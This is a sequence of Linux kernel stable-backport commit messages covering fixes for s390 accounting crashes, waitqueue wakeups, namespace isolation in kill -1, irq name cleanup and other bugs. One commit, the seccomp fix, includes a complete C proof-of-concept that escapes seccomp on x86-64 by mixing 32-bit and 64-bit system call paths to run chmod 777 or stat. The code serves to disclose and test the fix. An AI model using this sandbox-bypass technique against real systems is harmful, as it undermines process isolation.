[<c043ebd3>] ? kthreadd+0x0/0x148
[<c04040bf>] kernel_thread_helper+0x7/0x10
Signed-off-by: Ananth N Mavinakayanahalli <ananth@in.ibm.com>
Tested-by: Bharata B Rao <bharata@linux.vnet.ibm.com>
Cc: Masami Hiramatsu <mhiramat@redhat.com>
Cc: Jim Keniston <jkenisto@us.ibm.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
LKML-Reference: <20090318113621.GB4129@in.ibm.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 6d5b5acca9e566515ef3f1ed617e7295c4f94345 upstream.
Frans Pop reported the crash below when running an s390 kernel under Hercules:
Kernel BUG at 000738b4 verbose debug info unavailable!
fixpoint divide exception: 0009 #1! SMP
Modules linked in: nfs lockd nfs_acl sunrpc ctcm fsm tape_34xx
cu3088 tape ccwgroup tape_class ext3 jbd mbcache dm_mirror dm_log dm_snapshot
dm_mod dasd_eckd_mod dasd_mod
CPU: 0 Not tainted 2.6.27.19 #13
Process awk (pid: 2069, task: 0f9ed9b8, ksp: 0f4f7d18)
Krnl PSW : 070c1000 800738b4 (acct_update_integrals+0x4c/0x118)
R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:0 CC:1 PM:0
Krnl GPRS: 00000000 000007d0 7fffffff fffff830
00000000 ffffffff 00000002 0f9ed9b8
00000000 00008ca0 00000000 0f9ed9b8
0f9edda4 8007386e 0f4f7ec8 0f4f7e98
Krnl Code: 800738aa: a71807d0 lhi %r1,2000
800738ae: 8c200001 srdl %r2,1
800738b2: 1d21 dr %r2,%r1
>800738b4: 5810d10e l %r1,270(%r13)
800738b8: 1823 lr %r2,%r3
800738ba: 4130f060 la %r3,96(%r15)
800738be: 0de1 basr %r14,%r1
800738c0: 5800f060 l %r0,96(%r15)
Call Trace:
( <000000000004fdea>! blocking_notifier_call_chain+0x1e/0x2c)
<0000000000038502>! do_exit+0x106/0x7c0
<0000000000038c36>! do_group_exit+0x7a/0xb4
<0000000000038c8e>! SyS_exit_group+0x1e/0x30
<0000000000021c28>! sysc_do_restart+0x12/0x16
<0000000077e7e924>! 0x77e7e924
Reason for this is that cpu time accounting usually only happens from
interrupt context, but acct_update_integrals gets also called from
process context with interrupts enabled.
So in acct_update_integrals we may end up with the following scenario:
Between reading tsk->stime/tsk->utime and tsk->acct_timexpd an interrupt
happens which updates accouting values. This causes acct_timexpd to be
greater than the former stime + utime. The subsequent calculation of
dtime = cputime_sub(time, tsk->acct_timexpd);
will be negative and the division performed by
cputime_to_jiffies(dtime)
will generate an exception since the result won't fit into a 32 bit
register.
In order to fix this just always disable interrupts while accessing any
of the accounting values.
Reported by: Frans Pop <elendil@planet.nl>
Tested by: Frans Pop <elendil@planet.nl>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 2d5516cbb9daf7d0e342a2e3b0fc6f8c39a81205 upstream.
CLONE_PARENT can fool the ->self_exec_id/parent_exec_id logic. If we
re-use the old parent, we must also re-use ->parent_exec_id to make
sure exit_notify() sees the right ->xxx_exec_id's when the CLONE_PARENT'ed
task exits.
Also, move down the "p->parent_exec_id = p->self_exec_id" thing, to place
two different cases together.
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Cc: Roland McGrath <roland@redhat.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: David Howells <dhowells@redhat.com>
Cc: Serge E. Hallyn <serge@hallyn.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b6f3b7803a9231eddc36d0a2a6d2d8105ef89344 upstream.
If the member 'name' of the irq_desc structure happens to point to a
character string that is resident within a kernel module, problems ensue
if that module is rmmod'd (at which time dynamic_irq_cleanup() is called)
and then later show_interrupts() is called by someone.
It is also not a good thing if the character string resided in kmalloc'd
space that has been kfree'd (after having called dynamic_irq_cleanup()).
dynamic_irq_cleanup() fails to NULL the 'name' member and
show_interrupts() references it on a few architectures (like h8300, sh and
x86).
Signed-off-by: Dean Nelson <dcn@sgi.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 777c6c5f1f6e757ae49ecca2ed72d6b1f523c007 upstream.
With exclusive waiters, every process woken up through the wait queue must
ensure that the next waiter down the line is woken when it has finished.
Interruptible waiters don't do that when aborting due to a signal. And if
an aborting waiter is concurrently woken up through the waitqueue, noone
will ever wake up the next waiter.
This has been observed with __wait_on_bit_lock() used by
lock_page_killable(): the first contender on the queue was aborting when
the actual lock holder woke it up concurrently. The aborted contender
didn't acquire the lock and therefor never did an unlock followed by
waking up the next waiter.
Add abort_exclusive_wait() which removes the process' wait descriptor from
the waitqueue, iff still queued, or wakes up the next waiter otherwise.
It does so under the waitqueue lock. Racing with a wake up means the
aborting process is either already woken (removed from the queue) and will
wake up the next waiter, or it will remove itself from the queue and the
concurrent wake up will apply to the next waiter after it.
Use abort_exclusive_wait() in __wait_event_interruptible_exclusive() and
__wait_on_bit_lock() when they were interrupted by other means than a wake
up through the queue.
[akpm@linux-foundation.org: coding-style fixes]
Reported-by: Chris Mason <chris.mason@oracle.com>
Signed-off-by: Johannes Weiner <hannes@cmpxchg.org>
Mentored-by: Oleg Nesterov <oleg@redhat.com>
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Matthew Wilcox <matthew@wil.cx>
Cc: Chuck Lever <cel@citi.umich.edu>
Cc: Nick Piggin <nickpiggin@yahoo.com.au>
Cc: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b786c6a98ef6fa81114ba7b9fbfc0d67060775e3 upstream.
One fail path in relay_late_setup_files() omits
mutex_unlock(&relay_channels_mutex);
Add it.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 9a055117d3d9cb562f83f8d4cd88772761f4cab0 upstream.
To keep the raw monotonic patch simple first introduce
clocksource_forward_now(), which takes care of the offset since the last
update_wall_time() call and adds it to the clock, so there is no need
anymore to deal with it explicitly at various places, which need to make
significant changes to the clock.
This is also gets rid of the timekeeping_suspend_nsecs, instead of
waiting until resume, the value is accumulated during suspend. In the end
there is only a single user of __get_nsec_offset() left, so I integrated
it back to getnstimeofday().
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit d25141a818383b3c3b09f065698c544a7a0ec6e7 upstream.
Currently "kill <sig> -1" kills processes in all namespaces and breaks the
isolation of namespaces. Earlier attempt to fix this was discussed at:
http://lkml.org/lkml/2008/7/23/148
As suggested by Oleg Nesterov in that thread, use "task_pid_vnr() > 1"
check since task_pid_vnr() returns 0 if process is outside the caller's
namespace.
Signed-off-by: Sukadev Bhattiprolu <sukadev@linux.vnet.ibm.com>
Acked-by: Eric W. Biederman <ebiederm@xmission.com>
Tested-by: Daniel Hokka Zakrisson <daniel@hozac.com>
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit d4e82042c4cfa87a7d51710b71f568fe80132551 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 836f92adf121f806e9beb5b6b88bd5c9c4ea3f24 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 6559eed8ca7db0531a207cd80be5e28cd6f213c5 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 1e7bfb2134dfec37ce04fb3a4ca89299e892d10c upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit c4ea37c26a691ad0b7e86aa5884aab27830e95c9 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit e48fbb699f82ef1e80bd7126046394d2dc9ca7e6 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 5a8a82b1d306a325d899b67715618413657efda4 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 003d7ab479168132a2b2c6700fe682b08f08ab0c upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit a6b42e83f249aad723589b2bdf6d1dfb2b0997c8 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit ca013e945b1ba5828b151ee646946f1297b67a4c upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit a5f8fa9e9ba5ef3305e147f41ad6e1e84ac1f0bd upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 17da2bd90abf428523de0fb98f7075e00e3ed42e upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 754fe8d297bfae7b77f7ce866e2fb0c5fb186506 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 5add95d4f7cf08f6f62510f19576992912387501 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit 362e9c07c7220c0a78c88826fc0d2bf7e4a4bb68 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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commit b290ebe2c46d01b742b948ce03f09e8a3efb9a92 upstream.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
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